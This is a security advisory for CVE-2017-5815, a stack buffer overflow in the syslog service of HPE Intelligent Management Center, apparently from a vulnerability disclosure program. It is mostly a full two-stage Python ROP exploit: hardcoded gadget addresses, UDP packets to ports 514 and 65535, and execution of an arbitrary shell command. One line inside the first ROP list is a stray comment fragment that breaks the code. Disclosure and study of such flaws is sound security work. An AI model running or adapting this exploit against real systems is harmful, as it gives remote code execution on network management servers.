The following advisory describes a Stack Buffer Overflow vulnerability found in HPE Intelligent Management Center version v7.2 (E0403P10) Enterprise, this vulnerability leads to an exploitable remote code execution.
HPE Intelligent Management Center (iMC) delivers comprehensive management across campus core and data center networks. iMC converts meaningless network data to actionable information to keep your network, and your business, moving.
An independent security researcher has reported this vulnerability to Beyond Security’s SecuriTeam Secure Disclosure program
HPE has released a patch to address this vulnerability and issued the following CVE-2017-5815.
HPE Intelligent Management Center (iMC) is vulnerable to a stack buffer overflow that lead to remote code execution. The imcsyslogdm service handles syslog messages received on UDP port 514.
The imcsyslogdm service handles the forwarded messages by using FORWARD_HEAD ( ‘Forwarded From:‘) and FORWARD_HEAD_END (‘Quidview‘) markers at the beginning of the packet to indicate the originator of the syslog message. In case there’s a FORWARD_HEAD marker but no FORWARD_HEAD_END, the application ends up copying the contents of the packet into a fixed-size stack buffer that is vulnerable to a buffer overflow.
The first stage of the proof of concept is used to trigger the overflow and start a ROP chain by sending data on UDP port 514. The application also binds to UDP port 65535 but doesn’t seem to use it. After we triggered the buffer overflow, we will look for the file descriptor of this socket – the file descriptor number of this socket seems to be the number 27 most of the time, and the number 28 occasionally. To avoid non-determinism, the ROP chain retrieves the file descriptor number from the singleton instance holding it.
Then it reads 0x25f bytes into the .bss and pivots the stack there. The second stage contains another ROP chain, the command to be executed, and some helper strings. It resolves the address of system in libc via dlopen and dlsym. Executes the command via system. The command length is currently limited to ~470 bytes (the exploit checks for this) but could be extended for more and ends in an infinite loop.
While termination is avoided this way, this thread is responsible for handling syslog messages, so that function of the program will be broken.
```
import socket
import struct
IP = '192.168.0.20'
PORT = 514
command = 'echo "OK GOOGLE!" > /etc/issue ; #\0'
PORT_SECOND_STAGE = 65535
SYSLOG_FORWARD_HEAD = 'Forwarded From:'
SYSLOG_FORWARD_HEAD_END = 'Quidview'
def rop(*args):
return struct.pack('I' * len(args), *args)
class ELF:
def bss(self, offset):
return 0x884D0C0 + offset
plt = {
'read': 0x805957C,
'dlopen': 0x805857C,
'dlsym': 0x80597BC,
}
e = ELF()
libc_str = 'libc.so.6\0'
system_str = 'system\0'
pop2_ret = 0x0805b137
pop3_ret = 0x08480408
pop4_ret = 0x084f213a
zero_edx = 0x084f90c1
inc_edx = 0x0811c5e6
pop_ebx = 0x080dd8cd
eax_to_stack = 0x08703fba
ret = 0x080485c0
add_eax_28 = 0x084ddd16
dec_eax = 0x080dd660
zero_eax = 0x080834d4
add_eax_25f = 0x0845f636
ret_C = 0x0814b04e
xchg_eax_esp = 0x0807a2c7
pop_eax = 0x0837db70
get_instance = 0x08091210
mov_eax_eax_plus_0x5c = 0x08562d44
second_stage_offset_into_bss = 0x6500
second_stage_data = libc_str + system_str + command
second_stage_data_offset = 120
assert len(command) < 0x25f - second_stage_data_offset - len(system_str) - len(libc_str)
first_stage = rop(
`eax_to_stack` above) writes eax to [esp + edx*8]
zero_edx,
inc_edx,
inc_edx,
inc_edx,
inc_edx,
inc_edx,
inc_edx,
inc_edx,
inc_edx,
pop_ebx,
e.bss(0x5fc0),
get_instance,
mov_eax_eax_plus_0x5c,
eax_to_stack,
zero_edx,
inc_edx,
inc_edx,
inc_edx,
inc_edx,
zero_eax,
add_eax_25f,
e.bss(second_stage_offset_into_bss - 0x80),
0x41414141,
eax_to_stack,
ret_C,
e.plt['read'],
0x41414141, 0x41414141, 0x41414141,
pop3_ret,
0x41414141,
e.bss(second_stage_offset_into_bss),
0x41414141,
pop_eax,
e.bss(second_stage_offset_into_bss),
xchg_eax_esp
)
assert '\0' not in first_stage
print('* Sending first stage to udp/514')
s_514 = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
s_514.sendto(SYSLOG_FORWARD_HEAD + 'A'*48 + first_stage + '\0',
(IP, PORT))
s_514.close()
second_stage = rop(
e.plt['dlopen'],
pop2_ret,
e.bss(second_stage_offset_into_bss + second_stage_data_offset),
2,
zero_edx,
inc_edx,
pop_ebx,
e.bss(second_stage_offset_into_bss - 0x80),
eax_to_stack,
e.plt['dlsym'],
pop2_ret,
0x41516171,
e.bss(second_stage_offset_into_bss + second_stage_data_offset + len(libc_str)),
zero_edx,
inc_edx,
pop_ebx,
e.bss(second_stage_offset_into_bss - 0x80),
eax_to_stack,
ret,
ret,
0x51617181,
0x854ae76,
e.bss(second_stage_offset_into_bss + second_stage_data_offset + len(libc_str) + len(system_str))
)
print('* Sending second stage to udp/65535')
second_stage_final = second_stage.ljust(second_stage_data_offset) + second_stage_data
s_65535 = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
s_65535.sendto(second_stage_final.ljust(0x25f), (IP, PORT_SECOND_STAGE))
s_65535.close()
print('! Done.')
```